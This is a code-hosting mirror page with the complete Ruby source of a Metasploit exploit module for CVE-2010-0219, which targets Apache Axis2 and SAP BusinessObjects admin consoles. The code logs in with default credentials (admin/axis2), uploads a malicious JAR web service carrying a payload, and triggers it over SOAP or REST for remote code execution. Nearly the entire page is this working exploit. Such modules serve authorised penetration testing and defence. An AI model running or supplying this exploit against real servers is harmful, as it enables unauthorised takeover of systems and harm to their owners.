/
githubmirror
/
metasploit-framework
Обзор
Документация
Войти
/
githubmirror
/
metasploit-framework
Код
Запросы
0
Пакеты
0
Релизы
0
Аналитика
Безопасность
master
modules/exploits/multi/http/axis2_deployer.rb
333 строки
11 KB
g0t mi1k
#{rhost}:#{rport} -> #{Rex::Socket.to_authority(rhost, rport)}
19 май 2026, 18:12
19 май 2026, 18:12
0745cc6
Код
Авторство
О чём код?
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking HttpFingerprint = { :pattern => [ /Apache.*(Coyote|Tomcat)|Jetty.*/ ] } include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'Axis2 / SAP BusinessObjects Authenticated Code Execution (via SOAP)', 'Description' => %q{ This module logs in to an Axis2 Web Admin Module instance using a specific user/pass and uploads and executes commands via deploying a malicious web service by using SOAP. }, 'References' => [ # General [ 'URL', 'http://www.rapid7.com/security-center/advisories/R7-0037.jsp' ], [ 'URL', 'http://spl0it.org/files/talks/source_barcelona10/Hacking%20SAP%20BusinessObjects.pdf' ], [ 'CVE', '2010-0219' ], [ 'OSVDB', '68662' ] ], 'Platform' => %w{java linux win}, # others? 'Targets' => [ [ 'Java', { 'Arch' => ARCH_JAVA, 'Platform' => 'java' }, ], # # Platform specific targets only # [ 'Windows Universal', { 'Arch' => ARCH_X86, 'Platform' => 'win' }, ], [ 'Linux X86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' }, ], ], 'DefaultTarget' => 0, 'DisclosureDate' => '2010-12-30', 'Author' => [ 'Joshua Abraham <jabra[at]rapid7.com>', # original module 'Chris John Riley' # modifications ], 'License' => MSF_LICENSE, 'Notes' => { 'Reliability' => UNKNOWN_RELIABILITY, 'Stability' => UNKNOWN_STABILITY, 'SideEffects' => UNKNOWN_SIDE_EFFECTS } ) ) register_options( [ Opt::RPORT(8080), OptString.new('USERNAME', [ true, 'The username to authenticate as', 'admin' ]), OptString.new('PASSWORD', [ true, 'The password for the specified username', 'axis2' ]), OptString.new('PATH', [ true, "The URI path of the axis2 app (use /dswsbobje for SAP BusinessObjects)", '/axis2']) ] ) register_autofilter_ports([ 8080 ]) end def upload_exec(session, rpath) contents = '' name = Rex::Text.rand_text_alpha(8) # We must register this file early, that way the on_new_session method # won't miss it if FileDropper's cleanup routine kicks in. register_file_for_cleanup("webapps#{rpath}/WEB-INF/services/#{name}.jar") services_xml = %Q{ <service name="#{name}" scope="application"> <description> #{Rex::Text.rand_text_alphanumeric(50 + rand(50))} </description> <messageReceivers> <messageReceiver mep="http://www.w3.org/2004/08/wsdl/in-only" class="org.apache.axis2.rpc.receivers.RPCInOnlyMessageReceiver"/> <messageReceiver mep="http://www.w3.org/2004/08/wsdl/in-out" class="org.apache.axis2.rpc.receivers.RPCMessageReceiver"/> </messageReceivers> <parameter name="ServiceClass"> metasploit.PayloadServlet </parameter> </service> } if target.name =~ /Java/ zip = payload.encoded_jar zip.add_file("META-INF/services.xml", services_xml) # We need this class as a wrapper to run in a thread. For some reason # the Payload class is giving illegal access exceptions without it. servlet = MetasploitPayloads.read('java', 'metasploit', 'PayloadServlet.class') zip.add_file("metasploit/PayloadServlet.class", servlet) contents = zip.pack end boundary = rand_text_alphanumeric(6) data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"filename\"; " data << "filename=\"#{name}.jar\"\r\nContent-Type: application/java-archive\r\n\r\n" data << contents data << "\r\n--#{boundary}--" res = send_request_raw({ 'uri' => "#{rpath}/axis2-admin/upload", 'method' => 'POST', 'data' => data, 'headers' => { 'Content-Type' => 'multipart/form-data; boundary=' + boundary, 'Cookie' => "JSESSIONID=#{session}", } }, 25) if (res and res.code == 200) print_good("Successfully uploaded") else print_error("Error uploading #{res}") return end =begin res = send_request_raw({ 'uri' => "/#{datastore['PATH']}/axis2-web/HappyAxis.jsp", 'method' => 'GET', 'headers' => { 'Cookie' => "JSESSIONID=#{session}", } }, 25) puts res.body puts res.code if res.code > 200 and res.code < 300 if ( res.body.scan(/([A-Z] \Program Files\Apache Software Foundation\Tomcat \d.\d)/i) ) dir = $1.sub(/: /,':') + "\\webapps\\dswsbobje\\WEB-INF\\services\\" puts dir else if ( a.scan(/catalina\.home<\/th><td style=".*">(.*) <\/td>/i) ) dir = $1 + "/webapps/dswsbobje/WEB-INF/services/" puts dir end end end =end print_status("Polling to see if the service is ready") res_rest = send_request_raw({ 'uri' => "#{rpath}/services", 'method' => 'GET', }, 25) soapenv = 'http://schemas.xmlsoap.org/soap/envelope/' xmlns = 'http://session.dsws.businessobjects.com/2007/06/01' xsi = 'http://www.w3.org/2001/XMLSchema-instance' data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n" data << '<soapenv:Envelope xmlns:soapenv="' + soapenv + '" xmlns:ns="' + xmlns + '">' + "\r\n" data << '<soapenv:Header/>' + "\r\n" data << '<soapenv:Body>' + "\r\n" data << '<soapenv:run/>' + "\r\n" data << '</soapenv:Body>' + "\r\n" data << '</soapenv:Envelope>' + "\r\n\r\n" begin p = /Please enable REST/ catch :stop do 1.upto 5 do Rex::ThreadSafe.sleep(3) if (res_rest and res_rest.code == 200 and res_rest.body.match(p) != nil) # Try to execute the payload res = send_request_raw({ 'uri' => "#{rpath}/services/#{name}", 'method' => 'POST', 'data' => data, 'headers' => { 'Content-Length' => data.length, 'SOAPAction' => '"' + 'http://session.dsws.businessobjects.com/2007/06/01/run' + '"', 'Content-Type' => 'text/xml; charset=UTF-8', } }, 15) else ## rest res = send_request_raw({ 'uri' => "#{rpath}/services/#{name}/run", 'method' => 'GET', 'headers' => { 'cookie' => "jsessionid=#{session}", } }, 25) if not (res.code > 200 and res.code < 300) ## rest alternative path (use altres as a 200 is returned regardless) altres = send_request_raw({ 'uri' => "#{rpath}/rest/#{name}/run", 'method' => 'GET', 'headers' => { 'cookie' => "jsessionid=#{session}", } }, 25) end end if res and res.code > 200 and res.code < 300 throw :stop # exit loop elsif res and res.code == 401 if (res.headers['WWW-Authenticate']) authmsg = res.headers['WWW-Authenticate'] end print_error("The remote server responded expecting authentication") if authmsg print_error("WWW-Authenticate: %s" % authmsg) end raise ::Rex::ConnectionError throw :stop # exit loop end end end rescue ::Rex::ConnectionError print_error("http://#{Rex::Socket.to_authority(rhost, rport)}#{rpath}/(rest|services) Unable to authenticate (#{res.code} #{res.message})") end end def exploit user = datastore['USERNAME'] pass = datastore['PASSWORD'] rpath = normalize_uri(datastore['PATH']) success = false srvhdr = '?' begin res = send_request_cgi( { 'method' => 'POST', 'uri' => normalize_uri(rpath, '/axis2-admin/login'), 'ctype' => 'application/x-www-form-urlencoded', 'data' => "userName=#{user}&password=#{pass}&submit=+Login+", }, 25 ) if not (res.kind_of? Rex::Proto::Http::Response) print_error("http://#{Rex::Socket.to_authority(rhost, rport)}#{rpath}/axis2-admin not responding") end if res.code == 404 print_error("http://#{Rex::Socket.to_authority(rhost, rport)}#{rpath}/axis2-admin returned code 404") end srvhdr = res.headers['Server'] if res.code == 200 # Could go with res.headers["Server"] =~ /Apache-Coyote/i # as well but that seems like an element someone's more # likely to change success = true if (res.body.scan(/Welcome to Axis2 Web/i).size == 1) if res.get_cookies =~ /JSESSIONID=(.*);/ session = $1 end end rescue ::Rex::ConnectionError print_error("http://#{Rex::Socket.to_authority(rhost, rport)}#{rpath}/axis2-admin Unable to attempt authentication") end if not success and not rpath =~ /dswsbobje/ rpath = '/dswsbobje' begin res = send_request_cgi( { 'method' => 'POST', 'uri' => normalize_uri(rpath, '/axis2-admin/login'), 'ctype' => 'application/x-www-form-urlencoded', 'data' => "userName=#{user}&password=#{pass}&submit=+Login+", }, 25 ) if not (res.kind_of? Rex::Proto::Http::Response) print_error("http://#{Rex::Socket.to_authority(rhost, rport)}#{rpath}/axis2-admin not responding") end if res.code == 404 print_error("http://#{Rex::Socket.to_authority(rhost, rport)}#{rpath}/axis2-admin returned code 404") end srvhdr = res.headers['Server'] if res.code == 200 # Could go with res.headers["Server"] =~ /Apache-Coyote/i # as well but that seems like an element someone's more # likely to change success = true if (res.body.scan(/Welcome to Axis2 Web/i).size == 1) if res.get_cookies =~ /JSESSIONID=(.*);/ session = $1 end end rescue ::Rex::ConnectionError print_error("http://#{Rex::Socket.to_authority(rhost, rport)}#{rpath}/axis2-admin Unable to attempt authentication") end end if success print_good("http://#{Rex::Socket.to_authority(rhost, rport)}#{rpath}/axis2-admin [#{srvhdr}] [Axis2 Web Admin Module] successful login '#{user}' : '#{pass}'") upload_exec(session, rpath) else print_error("http://#{Rex::Socket.to_authority(rhost, rport)}#{rpath}/axis2-admin [#{srvhdr}] [Axis2 Web Admin Module] failed to login as '#{user}'") end end end